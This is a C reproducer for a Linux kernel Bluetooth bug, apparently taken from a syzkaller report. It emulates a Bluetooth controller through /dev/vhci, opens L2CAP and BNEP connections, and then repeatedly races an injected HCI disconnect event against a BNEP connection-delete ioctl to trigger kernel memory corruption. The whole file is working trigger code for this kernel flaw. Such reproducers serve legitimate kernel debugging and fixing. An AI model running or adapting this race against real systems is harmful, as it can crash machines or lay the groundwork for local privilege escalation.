// https://syzkaller.appspot.com/bug?id=2e826d3639852958f1d156055ea28e0ae35582c5
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <stdint.h>
#include <errno.h>
#include <poll.h>

#ifndef AF_BLUETOOTH
#define AF_BLUETOOTH 31
#endif
#ifndef BTPROTO_L2CAP
#define BTPROTO_L2CAP 0
#endif
#ifndef BTPROTO_HCI
#define BTPROTO_HCI 1
#endif
#ifndef BTPROTO_BNEP
#define BTPROTO_BNEP 4
#endif
#ifndef HCIDEVUP
#define HCIDEVUP _IOW('H', 201, int)
#endif
#ifndef BNEPCONNADD
#define BNEPCONNADD _IOW('B', 200, int)
#endif
#ifndef BNEPCONNDEL
#define BNEPCONNDEL _IOW('B', 201, int)
#endif

typedef struct {
    uint8_t b[6];
} bdaddr_t;

struct sockaddr_l2 {
    sa_family_t l2_family;
    unsigned short l2_psm;
    bdaddr_t l2_bdaddr;
    unsigned short l2_cid;
    uint8_t l2_bdaddr_type;
};

struct bnep_connadd_req {
    int sock;
    uint32_t flags;
    uint16_t role;
    char device[16];
};

struct bnep_conndel_req {
    uint32_t flags;
    uint8_t dst[6];
};

int vhci_fd = -1;
int l2cap_fd = -1;
int ctrl_sock = -1;
volatile int dev_id = -1;
volatile int vhci_thread_stop = 0;
pthread_barrier_t barrier;

void *vhci_thread(void *arg) {
    unsigned char buf[1024];
    struct pollfd pfd = { .fd = vhci_fd, .events = POLLIN };
    
    while (!vhci_thread_stop) {
        int r = poll(&pfd, 1, 100);
        if (r <= 0) continue;
        
        int n = read(vhci_fd, buf, sizeof(buf));
        if (n < 0) break;
        
        if (n >= 4 && buf[0] == 0xff) {
            dev_id = buf[2] | (buf[3] << 8);
            continue;
        }
        
        if (n >= 3 && buf[0] == 1) { // HCI_COMMAND_PKT
            uint16_t opcode = buf[1] | (buf[2] << 8);
            
            if (opcode == 0x0405) { // HCI_OP_CREATE_CONN
                unsigned char cmd_status[] = {0x04, 0x0f, 0x04, 0x00, 0x01, buf[1], buf[2]};
                write(vhci_fd, cmd_status, sizeof(cmd_status));
                unsigned char conn_complete[] = {
                    0x04, 0x03, 0x0b, 0x00, 0x01, 0x00, // handle 1
                    buf[4], buf[5], buf[6], buf[7], buf[8], buf[9], // bd_addr
                    0x01, 0x00 // link type ACL, encryption disabled
                };
                write(vhci_fd, conn_complete, sizeof(conn_complete));
            } else if (opcode == 0x0406) { // HCI_OP_DISCONNECT
                unsigned char cmd_status[] = {0x04, 0x0f, 0x04, 0x00, 0x01, buf[1], buf[2]};
                write(vhci_fd, cmd_status, sizeof(cmd_status));
                unsigned char disc_complete[] = {
                    0x04, 0x05, 0x04, 0x00, buf[4], buf[5], buf[6]
                };
                write(vhci_fd, disc_complete, sizeof(disc_complete));
            } else if (opcode == 0x041b) { // HCI_OP_READ_REMOTE_FEATURES
                unsigned char cmd_status[] = {0x04, 0x0f, 0x04, 0x00, 0x01, buf[1], buf[2]};
                write(vhci_fd, cmd_status, sizeof(cmd_status));
                unsigned char feat_complete[] = {
                    0x04, 0x0b, 0x0b, 0x00, buf[4], buf[5],
                    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
                };
                write(vhci_fd, feat_complete, sizeof(feat_complete));
            } else if (opcode == 0x041d) { // HCI_OP_READ_REMOTE_VERSION
                unsigned char cmd_status[] = {0x04, 0x0f, 0x04, 0x00, 0x01, buf[1], buf[2]};
                write(vhci_fd, cmd_status, sizeof(cmd_status));
                unsigned char ver_complete[] = {
                    0x04, 0x0c, 0x08, 0x00, buf[4], buf[5], 0x06, 0x00, 0x00, 0x00, 0x00
                };
                write(vhci_fd, ver_complete, sizeof(ver_complete));
            } else if (opcode == 0x041c) { // HCI_OP_READ_REMOTE_EXT_FEATURES
                unsigned char cmd_status[] = {0x04, 0x0f, 0x04, 0x00, 0x01, buf[1], buf[2]};
                write(vhci_fd, cmd_status, sizeof(cmd_status));
                unsigned char ext_complete[] = {
                    0x04, 0x23, 0x0d, 0x00, buf[4], buf[5], buf[6], 0x01,
                    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
                };
                write(vhci_fd, ext_complete, sizeof(ext_complete));
            } else {
                unsigned char cmd_complete[256] = {0};
                cmd_complete[0] = 0x04;
                cmd_complete[1] = 0x0e;
                cmd_complete[3] = 0x01;
                cmd_complete[4] = buf[1];
                cmd_complete[5] = buf[2];
                cmd_complete[6] = 0x00;
                
                int n_ret = 1;
                switch (opcode) {
                    case 0x1009: n_ret = 7; 
                        cmd_complete[7] = 0x11; cmd_complete[8] = 0x22; cmd_complete[9] = 0x33;
                        cmd_complete[10] = 0x44; cmd_complete[11] = 0x55; cmd_complete[12] = 0x66;
                        break;
                    case 0x1001: n_ret = 9; break;
                    case 0x1003: n_ret = 9; 
                        cmd_complete[7] = 0xff; cmd_complete[8] = 0xff; cmd_complete[9] = 0xff;
                        break;
                    case 0x1004: n_ret = 11; break;
                    case 0x1002: n_ret = 65; break;
                    case 0x1005: n_ret = 8; 
                        cmd_complete[7] = 0x00; cmd_complete[8] = 0x04;
                        cmd_complete[9] = 0x00;
                        cmd_complete[10] = 0x0a; cmd_complete[11] = 0x00;
                        cmd_complete[12] = 0x00; cmd_complete[13] = 0x00;
                        break;
                    case 0x0c14: n_ret = 249; break;
                    case 0x0c23: n_ret = 4; break;
                    case 0x0c1b: n_ret = 5; break;
                    case 0x0c38: n_ret = 2; break;
                    case 0x0c25: n_ret = 3; break;
                    case 0x0c19: n_ret = 2; break;
                    default: n_ret = 1; break;
                }
                
                cmd_complete[2] = 3 + n_ret;
                int len = 6 + n_ret;
                write(vhci_fd, cmd_complete, len);
            }
        } else if (n >= 11 && buf[0] == 2) { // ACL Data
            unsigned char rsp_buf1 = buf[1];
            unsigned char rsp_buf2 = (buf[2] & 0x0f) | 0x20;
            uint16_t cid = buf[7] | (buf[8] << 8);
            if (cid == 1) { // L2CAP Signaling
                uint8_t code = buf[9];
                uint8_t ident = buf[10];
                if (code == 0x0a && n >= 15) { // L2CAP_INFO_REQ
                    uint16_t type = buf[13] | (buf[14] << 8);
                    unsigned char rsp[] = {
                        0x02, rsp_buf1, rsp_buf2, 0x10, 0x00,
                        0x0c, 0x00, 0x01, 0x00,
                        0x0b, ident, 0x08, 0x00,
                        type & 0xff, type >> 8,
                        0x00, 0x00,
                        0x00, 0x00, 0x00, 0x00
                    };
                    write(vhci_fd, rsp, sizeof(rsp));
                } else if (code == 0x02 && n >= 17) { // L2CAP_CONN_REQ
                    uint16_t scid = buf[15] | (buf[16] << 8);
                    unsigned char rsp[] = {
                        0x02, rsp_buf1, rsp_buf2, 0x10, 0x00,
                        0x0c, 0x00, 0x01, 0x00,
                        0x03, ident, 0x08, 0x00,
                        0x40, 0x00,
                        scid & 0xff, scid >> 8,
                        0x00, 0x00,
                        0x00, 0x00
                    };
                    write(vhci_fd, rsp, sizeof(rsp));
                } else if (code == 0x04 && n >= 15) { // L2CAP_CONF_REQ
                    uint16_t dcid = buf[13] | (buf[14] << 8);
                    unsigned char rsp[] = {
                        0x02, rsp_buf1, rsp_buf2, 0x0e, 0x00,
                        0x0a, 0x00, 0x01, 0x00,
                        0x05, ident, 0x06, 0x00,
                        dcid & 0xff, dcid >> 8,
                        0x00, 0x00,
                        0x00, 0x00
                    };
                    write(vhci_fd, rsp, sizeof(rsp));
                    
                    unsigned char req[] = {
                        0x02, rsp_buf1, rsp_buf2, 0x0c, 0x00,
                        0x08, 0x00, 0x01, 0x00,
                        0x04, ident + 1, 0x04, 0x00,
                        0x40, 0x00,
                        0x00, 0x00
                    };
                    write(vhci_fd, req, sizeof(req));
                } else if (code == 0x06 && n >= 17) { // L2CAP_DISCONN_REQ
                    uint16_t dcid = buf[13] | (buf[14] << 8);
                    uint16_t scid = buf[15] | (buf[16] << 8);
                    unsigned char rsp[] = {
                        0x02, rsp_buf1, rsp_buf2, 0x0c, 0x00,
                        0x08, 0x00, 0x01, 0x00,
                        0x07, ident, 0x04, 0x00,
                        dcid & 0xff, dcid >> 8,
                        scid & 0xff, scid >> 8
                    };
                    write(vhci_fd, rsp, sizeof(rsp));
                }
            }
        }
    }
    return NULL;
}

void *trigger_hci_disconn(void *arg) {
    pthread_barrier_wait(&barrier);
    char disconn_evt[] = {
        0x04,       // HCI Event packet
        0x05,       // HCI_EV_DISCONN_COMPLETE
        0x04,       // Length
        0x00,       // Status (Success)
        0x01, 0x00, // Connection Handle (0x0001)
        0x13        // Reason (Remote User Terminated Connection)
    };
    int res = write(vhci_fd, disconn_evt, sizeof(disconn_evt));
    if (res < 0) {
        printf("[-] Failed to write disconn_evt: %s\n", strerror(errno));
    } else {
        printf("[+] write disconn_evt successful.\n");
    }
    return NULL;
}

void *del_bnep(void *arg) {
    pthread_barrier_wait(&barrier);
    struct bnep_conndel_req del_req = {0};
    del_req.flags = 0;
    del_req.dst[0] = 0xff; del_req.dst[1] = 0xee; del_req.dst[2] = 0xdd;
    del_req.dst[3] = 0xcc; del_req.dst[4] = 0xbb; del_req.dst[5] = 0xaa;
    int res = ioctl(ctrl_sock, BNEPCONNDEL, &del_req);
    if (res < 0) {
        printf("[-] Failed to ioctl BNEPCONNDEL: %s\n", strerror(errno));
    } else {
        printf("[+] ioctl BNEPCONNDEL successful.\n");
    }
    return NULL;
}

void run_race() {
    dev_id = -1;
    vhci_thread_stop = 0;
    
    int res = pthread_barrier_init(&barrier, NULL, 2);
    if (res != 0) {
        printf("[-] Failed to pthread_barrier_init: %s\n", strerror(res));
        exit(1);
    }
    printf("[+] pthread_barrier_init successful.\n");

    vhci_fd = open("/dev/vhci", O_RDWR);
    if (vhci_fd < 0) {
        printf("[-] Failed to open /dev/vhci: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] open /dev/vhci successful.\n");

    unsigned char create_req[] = {0xff, 0x00};
    res = write(vhci_fd, create_req, sizeof(create_req));
    if (res < 0) {
        printf("[-] Failed to write to /dev/vhci: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] write to /dev/vhci successful.\n");

    pthread_t tid;
    res = pthread_create(&tid, NULL, vhci_thread, NULL);
    if (res != 0) {
        printf("[-] Failed to pthread_create vhci_thread: %s\n", strerror(res));
        exit(1);
    }
    printf("[+] pthread_create vhci_thread successful.\n");

    int timeout = 0;
    while (dev_id < 0 && timeout < 100) {
        usleep(10000);
        timeout++;
    }
    if (dev_id < 0) {
        printf("[-] Failed to get dev_id from vhci\n");
        exit(1);
    }
    printf("[+] Got dev_id %d successful.\n", dev_id);

    int hci_sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
    if (hci_sock < 0) {
        printf("[-] Failed to socket hci: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] socket hci successful.\n");

    res = ioctl(hci_sock, HCIDEVUP, dev_id);
    if (res < 0 && errno != EALREADY) {
        printf("[-] Failed to ioctl HCIDEVUP: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] ioctl HCIDEVUP successful.\n");
    close(hci_sock);

    l2cap_fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
    if (l2cap_fd < 0) {
        printf("[-] Failed to socket l2cap: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] socket l2cap successful.\n");

    struct sockaddr_l2 addr = {0};
    addr.l2_family = AF_BLUETOOTH;
    addr.l2_psm = 0x0f; // BNEP PSM
    addr.l2_bdaddr.b[0] = 0xaa; addr.l2_bdaddr.b[1] = 0xbb; addr.l2_bdaddr.b[2] = 0xcc;
    addr.l2_bdaddr.b[3] = 0xdd; addr.l2_bdaddr.b[4] = 0xee; addr.l2_bdaddr.b[5] = 0xff;

    res = connect(l2cap_fd, (struct sockaddr *)&addr, sizeof(addr));
    if (res < 0) {
        printf("[-] Failed to connect l2cap: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] connect l2cap successful.\n");

    ctrl_sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_BNEP);
    if (ctrl_sock < 0) {
        printf("[-] Failed to socket bnep: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] socket bnep successful.\n");

    struct bnep_connadd_req req = {0};
    req.sock = l2cap_fd;
    req.role = 0x01; // BNEP_ROLE_PANU
    strncpy(req.device, "", 16);

    res = ioctl(ctrl_sock, BNEPCONNADD, &req);
    if (res < 0) {
        printf("[-] Failed to ioctl BNEPCONNADD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] ioctl BNEPCONNADD successful. Device: %s\n", req.device);

    pthread_t t1, t2;
    res = pthread_create(&t1, NULL, trigger_hci_disconn, NULL);
    if (res != 0) {
        printf("[-] Failed to pthread_create trigger_hci_disconn: %s\n", strerror(res));
        exit(1);
    }
    res = pthread_create(&t2, NULL, del_bnep, NULL);
    if (res != 0) {
        printf("[-] Failed to pthread_create del_bnep: %s\n", strerror(res));
        exit(1);
    }
    printf("[+] pthread_create race threads successful.\n");

    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
    printf("[+] Race threads joined successful.\n");

    close(l2cap_fd);
    close(ctrl_sock);

    vhci_thread_stop = 1;
    pthread_join(tid, NULL);
    pthread_barrier_destroy(&barrier);
    close(vhci_fd);
}

int main() {
    for (int i = 0; i < 100; i++) {
        printf("[*] Iteration %d\n", i);
        run_race();
        usleep(200000);
    }
    printf("[+] Done.\n");
    sleep(3);
    return 0;
}